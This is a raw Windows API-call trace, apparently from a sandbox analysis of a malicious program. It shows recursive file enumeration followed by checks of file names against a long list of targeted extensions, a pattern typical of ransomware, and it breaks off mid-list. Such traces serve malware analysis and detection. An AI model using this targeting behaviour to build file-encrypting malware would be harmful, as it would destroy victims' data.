[0115.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.215] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.298] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0115.490] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 0 [0115.490] FindClose (in: hFindFile=0x4250880 | out: hFindFile=0x4250880) returned 1 [0115.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.492] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.497] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.593] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.789] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0115.790] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0115.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0115.792] FindNextFileW (in: hFindFile=0x4250980, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0115.792] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0115.792] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0115.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0115.796] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0115.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0115.804] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0115.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.807] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0117.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0117.522] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0117.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43d1500 | out: hHeap=0x5b0000) returned 1 [0117.527] FindNextFileW (in: hFindFile=0x4250a80, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 0 [0117.527] FindClose (in: hFindFile=0x4250a80 | out: hFindFile=0x4250a80) returned 1 [0117.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0117.527] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0117.527] FindClose (in: hFindFile=0x4250bc0 | out: hFindFile=0x4250bc0) returned 1 [0117.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0117.528] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0117.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0117.537] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0117.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0117.550] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0119.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0119.497] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0119.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0119.497] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0119.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0119.500] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0120.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0120.281] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0121.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0121.416] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0124.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0124.615] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0124.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0124.616] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0124.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43714e8 | out: hHeap=0x5b0000) returned 1 [0124.755] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0124.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43714e8 | out: hHeap=0x5b0000) returned 1 [0124.756] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0124.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43714e8 | out: hHeap=0x5b0000) returned 1 [0124.760] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0124.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43714e8 | out: hHeap=0x5b0000) returned 1 [0124.948] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0124.948] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0124.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0124.948] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0124.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0124.957] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0124.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0124.961] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0125.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0125.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0125.017] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0125.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0125.021] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0125.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0125.297] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0125.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0125.297] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0125.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0125.297] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0125.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0125.298] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0125.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0125.299] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0125.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0125.307] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0125.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0125.314] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0125.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0125.315] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0125.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0125.317] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0125.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0125.319] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.432] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.439] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.440] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.469] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.471] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.473] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.475] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.515] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.518] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.520] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.522] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.525] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.531] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.533] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.536] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.537] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.867] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.894] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.899] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.902] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.904] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.906] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0126.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0126.908] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0127.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0127.565] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.140] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.142] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.144] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.381] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.382] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.383] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.384] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.389] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.390] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.391] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.393] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.416] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.417] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.419] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 1 [0129.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0129.420] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aeb94 | out: lpFindFileData=0x38aeb94) returned 0 [0129.420] FindClose (in: hFindFile=0x4250bc0 | out: hFindFile=0x4250bc0) returned 1 [0129.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0129.420] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 0 [0129.420] FindClose (in: hFindFile=0x4250ac0 | out: hFindFile=0x4250ac0) returned 1 [0129.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0129.421] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0129.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0129.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.427] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.428] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.430] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.432] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.432] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.434] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.437] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.519] lstrlenW (lpString="AdHocReportingExcelClient.dll") returned 29 [0129.519] lstrlenW (lpString=".1cd") returned 4 [0129.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0129.519] lstrlenW (lpString=".3ds") returned 4 [0129.519] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0129.519] lstrlenW (lpString=".3fr") returned 4 [0129.519] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0129.519] lstrlenW (lpString=".3g2") returned 4 [0129.519] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0129.519] lstrlenW (lpString=".3gp") returned 4 [0129.519] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0129.519] lstrlenW (lpString=".7z") returned 3 [0129.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0129.519] lstrlenW (lpString=".accda") returned 6 [0129.519] lstrcmpiW (lpString1=".accda", lpString2="nt.dll") returned -1 [0129.519] lstrlenW (lpString=".accdb") returned 6 [0129.519] lstrcmpiW (lpString1=".accdb", lpString2="nt.dll") returned -1 [0129.519] lstrlenW (lpString=".accdc") returned 6 [0129.519] lstrcmpiW (lpString1=".accdc", lpString2="nt.dll") returned -1 [0129.520] lstrlenW (lpString=".accde") returned 6 [0129.520] lstrcmpiW (lpString1=".accde", lpString2="nt.dll") returned -1 [0129.520] lstrlenW (lpString=".accdt") returned 6 [0129.520] lstrcmpiW (lpString1=".accdt", lpString2="nt.dll") returned -1 [0129.520] lstrlenW (lpString=".accdw") returned 6 [0129.520] lstrcmpiW (lpString1=".accdw", lpString2="nt.dll") returned -1 [0129.520] lstrlenW (lpString=".adb") returned 4 [0129.520] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".adp") returned 4 [0129.520] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai") returned 3 [0129.520] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0129.520] lstrlenW (lpString=".ai3") returned 4 [0129.520] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai4") returned 4 [0129.520] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai5") returned 4 [0129.520] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai6") returned 4 [0129.520] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai7") returned 4 [0129.520] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".ai8") returned 4 [0129.520] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".anim") returned 5 [0129.520] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1 [0129.520] lstrlenW (lpString=".arw") returned 4 [0129.520] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0129.520] lstrlenW (lpString=".as") returned 3 [0129.520] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0129.520] lstrlenW (lpString=".asa") returned 4 [0129.521] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".asc") returned 4 [0129.521] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".ascx") returned 5 [0129.521] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1 [0129.521] 